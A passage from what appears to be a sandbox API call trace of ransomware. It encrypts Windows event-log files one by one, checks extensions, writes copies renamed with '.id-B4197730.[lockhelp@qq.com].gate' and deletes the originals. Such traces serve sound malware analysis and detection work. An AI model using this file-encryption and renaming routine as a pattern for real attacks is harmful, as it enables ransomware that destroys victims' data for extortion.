(lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.856] lstrlenW (lpString=".doc") returned 4 [0275.856] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString=".docx") returned 5 [0275.856] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.856] lstrlenW (lpString=".pdf") returned 4 [0275.856] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString=".xls") returned 4 [0275.856] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString=".xlsx") returned 5 [0275.856] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.856] lstrlenW (lpString=".ppt") returned 4 [0275.856] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.856] lstrlenW (lpString=".zip") returned 4 [0275.856] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString=".rar") returned 4 [0275.856] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString=".bz2") returned 4 [0275.856] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.856] lstrlenW (lpString=".7z") returned 3 [0275.856] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.856] lstrlenW (lpString=".dbf") returned 4 [0275.857] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.857] lstrlenW (lpString=".1cd") returned 4 [0275.857] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0275.857] lstrlenW (lpString=".jpg") returned 4 [0275.857] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.857] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.857] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0275.857] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0275.857] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1052672) returned 1 [0275.857] CloseHandle (hObject=0x394) returned 1 [0275.857] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0275.857] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.857] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0275.858] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0275.858] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0275.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0275.858] GetLastError () returned 0x0 [0275.858] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xffff0, lpOverlapped=0x0) returned 1 [0275.978] WriteFile (in: hFile=0x3a0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xffff0, lpOverlapped=0x0) returned 1 [0275.993] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1010, lpOverlapped=0x0) returned 1 [0276.095] WriteFile (in: hFile=0x3a0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1020, lpOverlapped=0x0) returned 1 [0276.098] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0276.098] WriteFile (in: hFile=0x3a0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x134, lpOverlapped=0x0) returned 1 [0276.098] SetEndOfFile (hFile=0x3a0) returned 1 [0276.098] CloseHandle (hObject=0x3a0) returned 1 [0276.232] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.233] SetEndOfFile (hFile=0x394) returned 1 [0276.233] CloseHandle (hObject=0x394) returned 1 [0276.233] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.234] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0276.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.234] lstrlenW (lpString=".doc") returned 4 [0276.234] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.234] lstrlenW (lpString=".docx") returned 5 [0276.234] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.234] lstrlenW (lpString=".pdf") returned 4 [0276.234] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.234] lstrlenW (lpString=".xls") returned 4 [0276.234] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.234] lstrlenW (lpString=".xlsx") returned 5 [0276.234] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.234] lstrlenW (lpString=".ppt") returned 4 [0276.234] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.234] lstrlenW (lpString=".zip") returned 4 [0276.234] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.234] lstrlenW (lpString=".rar") returned 4 [0276.234] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.234] lstrlenW (lpString=".bz2") returned 4 [0276.234] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.234] lstrlenW (lpString=".7z") returned 3 [0276.234] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.235] lstrlenW (lpString=".dbf") returned 4 [0276.235] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.235] lstrlenW (lpString=".1cd") returned 4 [0276.235] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.235] lstrlenW (lpString=".jpg") returned 4 [0276.235] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.235] lstrlenW (lpString=".doc") returned 4 [0276.235] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString=".docx") returned 5 [0276.235] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.235] lstrlenW (lpString=".pdf") returned 4 [0276.235] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString=".xls") returned 4 [0276.235] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString=".xlsx") returned 5 [0276.235] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.235] lstrlenW (lpString=".ppt") returned 4 [0276.235] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.235] lstrlenW (lpString=".zip") returned 4 [0276.235] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString=".rar") returned 4 [0276.235] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString=".bz2") returned 4 [0276.235] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.235] lstrlenW (lpString=".7z") returned 3 [0276.235] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.235] lstrlenW (lpString=".dbf") returned 4 [0276.235] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.236] lstrlenW (lpString=".1cd") returned 4 [0276.236] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0276.236] lstrlenW (lpString=".jpg") returned 4 [0276.236] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.236] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.236] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0276.236] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0276.236] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=69632) returned 1 [0276.236] CloseHandle (hObject=0x394) returned 1 [0276.236] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0276.236] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.236] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0276.236] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.237] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.237] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0276.237] GetLastError () returned 0x0 [0276.237] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.442] WriteFile (in: hFile=0x3c8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.443] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0276.443] WriteFile (in: hFile=0x3c8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x134, lpOverlapped=0x0) returned 1 [0276.443] SetEndOfFile (hFile=0x3c8) returned 1 [0276.443] CloseHandle (hObject=0x3c8) returned 1 [0276.445] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.445] SetEndOfFile (hFile=0x394) returned 1 [0276.447] CloseHandle (hObject=0x394) returned 1 [0276.447] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.447] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0276.447] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.447] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.447] lstrlenW (lpString=".doc") returned 4 [0276.447] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.447] lstrlenW (lpString=".docx") returned 5 [0276.447] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.447] lstrlenW (lpString=".pdf") returned 4 [0276.447] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.447] lstrlenW (lpString=".xls") returned 4 [0276.447] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString=".xlsx") returned 5 [0276.448] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.448] lstrlenW (lpString=".ppt") returned 4 [0276.448] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.448] lstrlenW (lpString=".zip") returned 4 [0276.448] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString=".rar") returned 4 [0276.448] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString=".bz2") returned 4 [0276.448] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString=".7z") returned 3 [0276.448] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.448] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.448] lstrlenW (lpString=".dbf") returned 4 [0276.448] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.448] lstrlenW (lpString=".1cd") returned 4 [0276.448] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.448] lstrlenW (lpString=".jpg") returned 4 [0276.448] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.448] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.448] lstrlenW (lpString=".doc") returned 4 [0276.448] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString=".docx") returned 5 [0276.448] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.448] lstrlenW (lpString=".pdf") returned 4 [0276.448] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString=".xls") returned 4 [0276.448] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.448] lstrlenW (lpString=".xlsx") returned 5 [0276.448] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.449] lstrlenW (lpString=".ppt") returned 4 [0276.449] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.449] lstrlenW (lpString=".zip") returned 4 [0276.449] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.449] lstrlenW (lpString=".rar") returned 4 [0276.449] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.449] lstrlenW (lpString=".bz2") returned 4 [0276.449] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.449] lstrlenW (lpString=".7z") returned 3 [0276.449] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.449] lstrlenW (lpString=".dbf") returned 4 [0276.449] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.449] lstrlenW (lpString=".1cd") returned 4 [0276.449] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0276.449] lstrlenW (lpString=".jpg") returned 4 [0276.449] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.449] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.449] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0276.449] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0276.449] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=69632) returned 1 [0276.450] CloseHandle (hObject=0x394) returned 1 [0276.450] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0276.450] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.450] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0276.450] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.450] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.450] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0276.454] GetLastError () returned 0x0 [0276.454] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.539] WriteFile (in: hFile=0x3d0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.541] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0276.541] WriteFile (in: hFile=0x3d0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x124, lpOverlapped=0x0) returned 1 [0276.541] SetEndOfFile (hFile=0x3d0) returned 1 [0276.542] CloseHandle (hObject=0x3d0) returned 1 [0276.544] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.544] SetEndOfFile (hFile=0x394) returned 1 [0276.545] CloseHandle (hObject=0x394) returned 1 [0276.545] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.545] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0276.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.545] lstrlenW (lpString=".doc") returned 4 [0276.545] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.545] lstrlenW (lpString=".docx") returned 5 [0276.545] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.545] lstrlenW (lpString=".pdf") returned 4 [0276.545] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.545] lstrlenW (lpString=".xls") returned 4 [0276.545] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.545] lstrlenW (lpString=".xlsx") returned 5 [0276.545] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.546] lstrlenW (lpString=".ppt") returned 4 [0276.546] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.546] lstrlenW (lpString=".zip") returned 4 [0276.546] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString=".rar") returned 4 [0276.546] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString=".bz2") returned 4 [0276.546] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString=".7z") returned 3 [0276.546] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.546] lstrlenW (lpString=".dbf") returned 4 [0276.546] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.546] lstrlenW (lpString=".1cd") returned 4 [0276.546] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.546] lstrlenW (lpString=".jpg") returned 4 [0276.546] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.546] lstrlenW (lpString=".doc") returned 4 [0276.546] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString=".docx") returned 5 [0276.546] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.546] lstrlenW (lpString=".pdf") returned 4 [0276.546] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString=".xls") returned 4 [0276.546] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.546] lstrlenW (lpString=".xlsx") returned 5 [0276.546] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.546] lstrlenW (lpString=".ppt") returned 4 [0276.547] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.547] lstrlenW (lpString=".zip") returned 4 [0276.547] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.547] lstrlenW (lpString=".rar") returned 4 [0276.547] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.547] lstrlenW (lpString=".bz2") returned 4 [0276.547] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.547] lstrlenW (lpString=".7z") returned 3 [0276.547] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.547] lstrlenW (lpString=".dbf") returned 4 [0276.547] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.547] 